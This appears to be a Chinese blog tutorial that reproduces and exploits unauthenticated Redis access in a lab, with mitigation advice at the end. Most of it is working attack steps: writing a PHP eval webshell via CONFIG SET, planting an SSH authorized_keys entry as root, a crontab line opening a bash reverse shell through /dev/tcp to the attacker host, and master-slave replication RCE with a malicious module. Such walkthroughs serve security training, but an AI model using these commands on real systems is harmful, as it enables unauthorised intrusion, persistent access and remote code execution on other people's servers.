Redis未授权访问漏洞复现和修复建议

Redis未授权访问漏洞利用(总结)

  • 一、漏洞介绍及危害
    • 1.1 原理
    • 1.2 漏洞影响版本
    • 1.3 漏洞危害
    • 1.4 实战中redis常用命令
  • 二、漏洞复现
    • 2.1 环境准备
      • 2.1.1 靶机安装redis服务器
      • 2.1.2 kali安装Redis客户端(Redis-cli)
  • 三、漏洞利用
    • 3.1 利用Redis直接写入webshell
      • 3.1.1 利用前提
      • 3.1.2 利用
    • 3.2 利用redis漏洞ssh秘钥连接
      • 3.2.1 利用前提
      • 3.2.2 利用
    • 3.3 利用计划任务执行命令反弹shell
      • 3.3.1 利用
    • 3.4 主从复制getshell
      • 3.4.1 利用
  • 四、修复建议

一、漏洞介绍及危害

1.1 原理

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

简单来说,漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证,可以免密码远程登录redis服务。 

1.2 漏洞影响版本

Redis 2.x,3.x,4.x,5.x

1.3 漏洞危害

(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

1.4 实战中redis常用命令

1.redis-cli -h ip -p 6379 -a passwd   # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名
2.info 								  # 查看相关redis信息
3.set xz "Hacker"                     # 设置键xz的值为字符串Hacker
4.get xz                              # 获取键xz的内容
5.INCR score                          # 使用INCR命令将score的值增加1
6.keys *                              # 列出当前数据库中所有的键
7.config set protected-mode no        # 关闭安全模式
8.get anotherkey                      # 获取一个不存在的键的值
9.config set dir /root/redis          # 设置保存目录
10.config set dbfilename redis.rdb     # 设置保存文件名
11.config get dir                      # 查看保存目录
12.config get dbfilename               # 查看保存文件名
13.save                                # 进行一次备份操作
14.flushall                            # 删除所有数据
15.del key                             # 删除键为key的数据
16.slaveof ip port   					# 设置主从关系
使用SET和GET命令,可以完成基本的赋值和取值操作;
Redis是不区分命令的大小写的,set和SET是同一个意思;
使用keys *可以列出当前数据库中的所有键;
当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
如果键的值中有空格,需要使用双引号括起来,如"Hello World";

二、漏洞复现

2.1 环境准备

靶机:centos7 192.168.111.131
攻击机:kali 192.168.111.128
确保能够互相访问

2.1.1 靶机安装redis服务器

wget https://download.redis.io/releases/redis-4.0.10.tar.gz     //下载redis压缩包
tar -zxvfredis-4.0.10.tar.gz
cd redis-4.0.10/src
然后进行编译安装
make
make install

这下面是成功截图

在这里插入图片描述

因为要做到未授权访问,那么进行修改配置文件(redis.conf)

1、找到安装目录下的redis.conf文件 vi redis.conf 
加#注释bind 127.0.0.1这一行,意味着所有机器都可以登录了
2、修改protected-mode 为protected-mode no,关闭安全模式

在这里插入图片描述

cp redis.conf /etc         //配置文件复制到etc目录
redis-server /etc/redis.conf   //启动redis服务

在这里插入图片描述

ps -ef | grep redis-server   //查看服务启动  

在这里插入图片描述
启动成功,靶机部署完毕!

2.1.2 kali安装Redis客户端(Redis-cli)

wget http://download.redis.io/releases/redis-4.0.10.tar.gz
tar -zxvfredis-4.0.10.tar.gz
cd redis-4.0.10
make
make install

测试连接 redis-cli -h 192.168.111.131 -p 6379

在这里插入图片描述
连接成功!

三、漏洞利用

3.1 利用Redis直接写入webshell

3.1.1 利用前提

1.靶机redis链接未授权,在攻击机上能用redis-cli连上
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(开启web服务器,就可以利用url使用蚁剑进行连接)

3.1.2 利用

config get dir #查看redis数据库路径
config set dir dir /var/www/html  # #修改靶机Redis数据库路径
config set dbfilename 1.php #生成1.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
save#保存

在这里插入图片描述
在靶机中可以看到文件已经上传成功

在这里插入图片描述
进行访问,上传成功
在这里插入图片描述
接下来上传木马,通过蚁剑连接

set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"#上传木马可以通过蚁剑连接

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
连接成功!

3.2 利用redis漏洞ssh秘钥连接

原理就是在数据库中插入一条数据,将本机的公钥作为value.key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

3.2.1 利用前提

1.当redis以root身份运行。
2.靶机redis链接未授权,在攻击机上能用redis-cli连上。
3.存在/root/.ssh目录。

3.2.2 利用

ssh-keygen -t rsa       # 生成公私钥
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt   # 防止乱码,导出key
cat /root/.ssh/key.txt |./redis-cli -h 192.168.111.131 -x set key  # 导入内容

首先生成密钥(ssh-keygen -t rsa),选项默认回车就可以。
在这里插入图片描述
进入.ssh目录:cd .ssh/,将生成的公钥保存到key.txt:
在这里插入图片描述
再把key.txt文件内容写入redis缓冲,进入到redis-4.0.10/src目录下
将保存ssh的公钥key.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入)
在这里插入图片描述

config set dir /root/.ssh           # 修改redis数据库路径,这里centos中没有这个目录,需要在靶机上自己创建
config set dbfilename authorized_keys  #生成缓冲文件authorized_keys
save  #保存
ssh -i id_rsa root@192.168.111.131  #连接

在这里插入图片描述
注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)
在这里插入图片描述

3.3 利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell

3.3.1 利用

kali:nc开启监听 nc -lnvp 8888

config set dir /var/spool/cron/
config set dbfilename root
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.111.128/8888 0>&1\n\n"
#前面五个星号分别表示 分 时 天 月 周 一般用于具体的定时时间。后面就是执行的命令。\n\n是换行前面已经说过,因为redis会出现乱码,可以通过上传的root文件看到有乱码。
save

在这里插入图片描述
可以看到成功反弹shell
在这里插入图片描述

3.4 主从复制getshell

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主、从机数据都是一样的,从机只负责读,主机只负责写。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

3.4.1 利用

编写恶意 .so 文件,包含执行系统命令的功能。
通过主从复制将 .so 文件同步到从服务器。
从服务器加载 .so 文件并执行其中的命令。

1、生成恶意.so⽂件 git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommandcd RedisModules-ExecuteCommand/make2、主从复制rce 
//回到redis目录继续执行:
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt 
python redis-rce.py -r 192.168.111.131 -p 6379 -L 192.168.111.128 -f module.so  # python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

在这里插入图片描述

四、修复建议

针对Redis的漏洞修复,以下是一些建议:

  1. 升级Redis版本:根据最新的安全公告,Redis发布了包含安全修复的新版本。建议升级到最新的稳定版本,以修复已知的安全漏洞。

  2. 限制网络访问:确保只有授权的用户和系统可以访问Redis数据库。使用防火墙和网络策略限制访问到信任的源,防止未授权的连接。

  3. 强制使用强认证:对所有访问Redis实例的访问强制使用凭证。避免配置允许未经认证的访问,并确保启用了保护模式(在CE和OSS中)以防止意外暴露。

  4. 限制权限:确保访问Redis的用户身份被授予最小必要的权限。只允许信任的身份运行Lua脚本或其他潜在危险的命令。

  5. 禁用高危命令:禁用一些高危命令,如FLUSHDBFLUSHALLCONFIGKEYS等。

  6. 以低权限运行Redis服务:避免使用root用户等高权限用户运行Redis服务。

  7. 为Redis添加密码验证:修改redis.conf,添加requirepass指令来设置认证密码。

  8. 禁止外网访问Redis:修改redis.conf,添加或修改配置,使得Redis服务只在当前主机可用,例如设置bind 127.0.0.1

  9. 添加IP访问限制:考虑在网络或操作系统级别添加IP限制,只有信任的IP才能连接。

  10. 更改默认端口:考虑更改Redis默认端口,以进一步混淆你的设置。

  11. 客户端加密:对于高度敏感的数据,可以在客户端实施加密,增加额外的保护层。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/59039.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

无人机之集群控制方法篇

无人机的集群控制方法涉及多个技术和策略&#xff0c;以确保多架无人机能够协同、高效地执行任务。以下是一些主要的无人机集群控制方法&#xff1a; 一、编队控制方法 领航-跟随法&#xff08;Leader-Follower&#xff09; 通过设定一架无人机作为领航者&#xff08;长机&am…

流水线商品标签如何快速打印?商品标签自定义打印软件操作方法

一、概述 【软件可定制详情点文章最后信息卡片】 流水线商品标签如何快速打印&#xff1f;商品标签自定义打印软件操作方法 ‌定义与用途‌ 商品标签打印软件&#xff0c;即用于打印商品标签的应用软件。标签包含产品上的文字、商品详情等说明信息 如图&#xff0c;可以预先…

不只是任务分配!管理者应具备的核心认知

背景 二十年&#xff0c;中国的互联网行业飞速发展&#xff0c;让无数年轻人有了从技术岗走向管理岗的机会。然而&#xff0c;许多工程师在走上管理岗位时往往是“仓促上任”&#xff0c;没有足够时间适应管理工作和责任。少数悟性高、能力突出的工程师能够迅速胜任&#xff0…

第二十五章 Vue父子通信之sync修饰符

目录 一、概述 二、完整代码 2.1. main.js 2.2. App.vue 2.3. BaseDialog.vue 三、运行效果 一、概述 前面的章节我们讲到&#xff0c;通过v-model我们可以实现父子组件间的通信&#xff0c;但是使用v-model的时候&#xff0c;子组件接收的prop属性名必须固定为valu…

【浪潮商城-注册安全分析报告-无验证方式导致安全隐患】

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 1. 暴力破解密码&#xff0c;造成用户信息泄露 2. 短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉 3. 带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造…

轻松成为文本文件管理大师,将每个文件夹中的所有TXT分别合并成一个文本文档,发现办公软件TXT合并功能的无限可能

文本文件如潮水般涌来&#xff0c;管理它们成为了一项令人头疼的任务。但是&#xff0c;别怕&#xff0c;有了首助编辑高手软件&#xff0c;你将成为办公软件达人&#xff0c;轻松驾驭这些文本文件&#xff0c;体验无限魅力&#xff01;想象一下&#xff0c;杂乱无章的文件夹瞬…

安卓13默认连接wifi热点 android13默认连接wifi

总纲 android13 rom 开发总纲说明 文章目录 1.前言2.问题分析3.代码分析4.代码修改5.编译6.彩蛋1.前言 有时候我们需要让固件里面内置好,相关的wifi的ssid和密码,让固件起来就可以连接wifi,不用在手动操作。 2.问题分析 这个功能,使用普通的安卓代码就可以实现了。 3.代…

青春的海洋:海滨学院班级回忆录项目

3系统分析 3.1可行性分析 通过对本海滨学院班级回忆录实行的目的初步调查和分析&#xff0c;提出可行性方案并对其一一进行论证。我们在这里主要从技术可行性、经济可行性、操作可行性等方面进行分析。 3.1.1技术可行性 本海滨学院班级回忆录采用SSM框架&#xff0c;JAVA作为开…

基于matlab的线性卷积演示系统

文章目录 前言1. 卷积的简单介绍1.1 翻褶1.2 移位1.3 相乘1.4相加1.5 整体的运行效果展示 2.App Designer的介绍3.具体的开发步骤3.1 声明成员变量3.2 设计基本布局3.3 编写回调函数 4.运行展示结语 前言 本篇文章按照如下要求&#xff0c;完成线性卷积演示系统 (1)用matlab完…

如何在Linux命令行中使用GhatGPT

2、验明正身&#xff0c;证明我的所在地是国内 3、第一次提问 4、第二次提问 5、问他一首古诗 6、话不多说&#xff0c;现在来展示他的安装过程 7、输入GitHub的网址 https://github.com/aandrew-me/tgpt 8、详情页向下翻 9、到终端输入 下列命令&#xff0c;等待安装&#x…

java并发编程-volatile的作用

文章目录 volatile的作用1.改变线程间的变量可见性2.禁止指令重排序 参考的学习视频 volatile的作用 1.改变线程间的变量可见性 每个线程都有一个专用的工作集内存&#xff0c;下图里面粉色的表示专用工作集内存&#xff0c;黄色的是共享内存工作区&#xff0c;如果加入了vol…

linux中级(防火墙firewalld)

一。firewalld与iptables区别1.firewalld可以动态修改单条规则&#xff0c;不需要像iptables那样&#xff0c;修改规则后必须全部刷新才可生效。firewalld默认动作是拒绝&#xff0c;则每个服务都需要去设置才能放行&#xff0c;而iptables里默认是每个服务是允许&#xff0c;需…

C#/.NET/.NET Core学习路线集合,学习不迷路!

前言 C#、.NET、.NET Core、WPF、WinForm、Unity等相关技术的学习、工作路线集合&#xff08;持续更新&#xff09;&#xff01;&#xff01;&#xff01; 全面的C#/.NET/.NET Core学习、工作、面试指南&#xff1a;https://github.com/YSGStudyHards/DotNetGuide C#/.NET/.N…

Linux 实例:无法通过 SSH 方式登录

现象描述 使用 SSH 登录 Linux 实例 时&#xff0c;提示无法连接或者连接失败&#xff0c;导致无法正常登录 Linux 实例。 现象描述 处理措施 SSH 登录报错 User root not allowed because not listed in AllowUsers 排查 SSH 登录报错 User root not allowed because not …

后端Java学习:springboot之文件上传(阿里云OSS存储)

一、什么是阿里云存储&#xff1f; 阿里云对象存储OSS&#xff08;Object Storage Service&#xff09;&#xff0c;是一款海量、安全、低成本、高可靠的云存储服务。使用OSS&#xff0c;您可以通过网络随时存储和调用包括文本、图片、音频和视频等在内的各种文件。 二、阿里云…

当下的力量:拥抱自我与持续学习的旅程

许多人被无尽的选择与信息所淹没&#xff0c;常常感到迷茫与焦虑。然而&#xff0c;真正的力量来自于对当下的专注&#xff0c;以及对自我的深刻理解与不断提升。如何在喧嚣中找到内心的宁静&#xff1f;如何在复杂的世界中坚持学习与成长&#xff1f;这不仅是一个时代的问题&a…

【android12】【AHandler】【3.AHandler原理篇AHandler类方法全解】

AHandler系列 【android12】【AHandler】【1.AHandler异步无回复消息原理篇】-CSDN博客 【android12】【AHandler】【2.AHandler异步回复消息原理篇】-CSDN博客 其他系列 本人系列文章-CSDN博客 1.简介 前面两篇我们主要介绍了有回复和无回复的消息的使用方法和源码解析&a…

GPRS是什么?

‌GPRS&#xff08;General Packet Radio Service&#xff09;‌是一种基于GSM&#xff08;Global System for Mobile Communications&#xff09;系统的无线分组交换技术&#xff0c;提供端到端的广域无线IP连接。与传统的GSM系统不同&#xff0c;GPRS采用分组交换技术&#x…

flutter 专题二 Flutter状态管理之Riverpod 0.8.4

一 、flutter 有哪些状态管理方式 Flutter的状态管理方式有很多&#xff0c;Redux、 Bloc、 MobX、Provider等等。单单一个Provider&#xff0c;我也见到了各种组合&#xff0c;例如ChangeNotifier Provider / StateNotifier Provider&#xff08; freezed&#xff09;。各…

海风里的青春:海滨学院班级回忆录开发

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统&#xff0c;它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等&#xff0c;非常…